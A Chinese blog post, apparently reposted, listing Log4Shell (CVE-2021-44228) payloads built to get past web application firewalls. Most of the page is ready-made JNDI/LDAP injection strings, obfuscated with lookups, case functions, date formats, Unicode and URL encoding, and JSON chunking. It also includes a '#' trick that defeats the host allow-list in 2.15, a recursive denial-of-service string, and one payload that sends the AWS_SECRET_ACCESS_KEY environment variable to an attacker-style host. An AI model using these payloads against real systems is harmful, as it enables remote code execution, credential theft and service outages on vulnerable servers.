首页 > 其他分享 >Log4j一些WAF绕过技巧

Log4j一些WAF绕过技巧

时间:2023-12-05 10:45:36浏览次数:37  
标签:somesitehackerofhell WAF env ldap date 绕过 com Log4j NAME

0x00 前言

CVE-2021-44228

log4j:2.0 <= Apache log4j <= 2.14.1

patched of  Java version:6u211+, 7u201+8u191+, 11.0.1+

基本Payload:

${jndi:ldap://dnslog.cn/a}

0x02 绕过

2.1 系统环境变量

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

Apache Log4j2 文档 ${env:ENV_NAME:-default_value}

如果 系统环境变量 ENV_NAME 不可用,则使用 :- 之后的内容。你可以使用任意字符串替代 ENV_NAME,只要它是不存在的。

当然,你也可以读取环境变量的值,比如云服务上的环境变量 AWS_SECRET_ACCESS_KEY

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

查看环境变量:

  • Windows 上 PowerShell:dir env
  • MacOS/Linux 上 Terminal:prinyent or env

2.2 大小写

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

2.3 "::-"符号

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}

2.4 无效的unicode字符

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

2.5 系统属性

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

2.6 ":-"符号

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}

2.7 Date

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

Java 日期格式转换,将YYYY转换为2021,同时它将'YYYY'转换为 YYYY

2.8 URL编码

} -> %7D
{ -> %7B
$ -> %24

2.9 不存在的lookup

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

2.10 "分块"

# JSON REST API request
{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

2.11 Unicode编码

${\u006a\u006e\u0064\u0069:ldap://dnslog.cn/a}

2.12 "#"

# log4j 2.15
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

绕过allowedLdapHostallowedClasses检查。java.net.URI getHost()方法返回#之前的值作为真正的host。但是JNDI/LDAP解析器将解析为连接到恶意LDAP服务器上。

2.13 DOS

# log4j 2.8 - 2.16
${${::-${::-$${::-j}}}}

2.14 PDF

其他文件自由发挥

图片  

标签:somesitehackerofhell,WAF,env,ldap,date,绕过,com,Log4j,NAME
From: https://www.cnblogs.com/websec80/p/17876672.html

相关文章

  • Web漏洞-XSS绕过和pikachu靶场4个场景(三)
    ★★实战前置声明★★文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。1、XSS漏洞挖掘与绕过1.1、XSS漏洞挖掘数据交互(输入/输出)的地方最容易产生跨站脚本,最重要的是考......
  • pwn中常见的绕过(以后见多了会慢慢更的,咕咕咕)
    如题,总结一下我目前在pwn中常见的一些绕过,方便以后随时查阅strlen这是检验字符串长度的函数,常见的形式是“当字符串个数>number时,失败”,绕过它其实很简单,在输出的字符串开头加上'\x00',这样strlen就不会检测后续字符串的个数了,就完成了绕过strncmp指定比较size个字符串,有三个参......
  • 绕过姿势
    一、目录遍历使用../../来返回上一目录,被称为目录遍历(PathTraversal)。例如?file=../../phpinfo/phpinfo.php测试代码如下:<?php error_reporting(0); $file=$_GET["file"]; //前缀include"/var/www/html/".$file; highlight_file(__FILE__);?>现在在/var/log目录下有文......
  • 雷池 WAF(SafeLine)异常处理:Web需要绑定动态口令,系统异常崩溃
    说明问题发生在2023年12月1日,突然发现安装的雷池WAFWeb需要重新绑定动态口令,但扫描二维码无法绑定。当即检查防护站点服务正常,PVEShell访问正常。查看Issues·chaitin/SafeLine·GitHub,发现已经有人提交了Bug。[Bug]从3.13开始雷池tengine就疯狂报错了,完全不......
  • 如何绕过某讯手游保护系统并从内存中获取Unity3D引擎的Dll文件
    ​ 某讯的手游保护系统用的都是一套,在其官宣的手游加固功能中有一项宣传是对比较热门的Unity3d引擎的手游保护方案,其中对Dll文件的保护介绍如下,“Dll加固混淆针对Unity游戏,对Dll模块的变量名、函数名、类名进行加密混淆处理,有效提高静态分析门槛”。 通过动态分析了它的保护......
  • 如何绕过某讯手游保护系统并从内存中获取Unity3D引擎的Dll文件
    ​ 某讯的手游保护系统用的都是一套,在其官宣的手游加固功能中有一项宣传是对比较热门的Unity3d引擎的手游保护方案,其中对Dll文件的保护介绍如下,“Dll加固混淆针对Unity游戏,对Dll模块的变量名、函数名、类名进行加密混淆处理,有效提高静态分析门槛”。 通过动态分析了它的保护......
  • log4j的日志信息记录maven
    本地调用三方包,日志信息很关键,log4j有多种日志级别Log4j有三个主要的组件:Loggers(记录器),Appenders(输出源)和Layouts(布局)。这里可简单理解为日志类别,日志要输出的地方和日志以何种形式输出。综合使用这三个组件可以轻松地记录信息的类型和级别,并可以在运行时控制日志输出的样......
  • 绕过cdn查询真实ip地址(概率性,不一定成功)
    背景通常网站站点加了cdn以后,一般无法解析到真实的ip地址,这时候想通过ip加端口的方式获取数据就不太可能,但是如果ngix代理禁止了ip访问,获取到真实ip也没用,会显示nginxforbidden,但是别的协议应该还是可以走,只是http的协议走不了如何查看网站是否加了cdn目标:http://alist.xiaoya......
  • Nacos 认证绕过漏洞
    Nacos认证绕过漏洞(CVE-2021-29441)Nacos是阿里巴巴推出的一个新开源项目,是一个更易于构建云原生应用的动态服务发现,配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。该......
  • URL绕过-后缀路径模式匹配设置错误绕过过滤器
    @ConfigurationpublicclassUrlMatchConfigextendsWebMvcConfigurationSupport{@OverridepublicvoidconfigurePathMatch(PathMatchConfigurerconfigurer){//setUseSuffixPatternMatch后缀模式匹配,如果设置为true,路径后面不管多少个//都能匹配......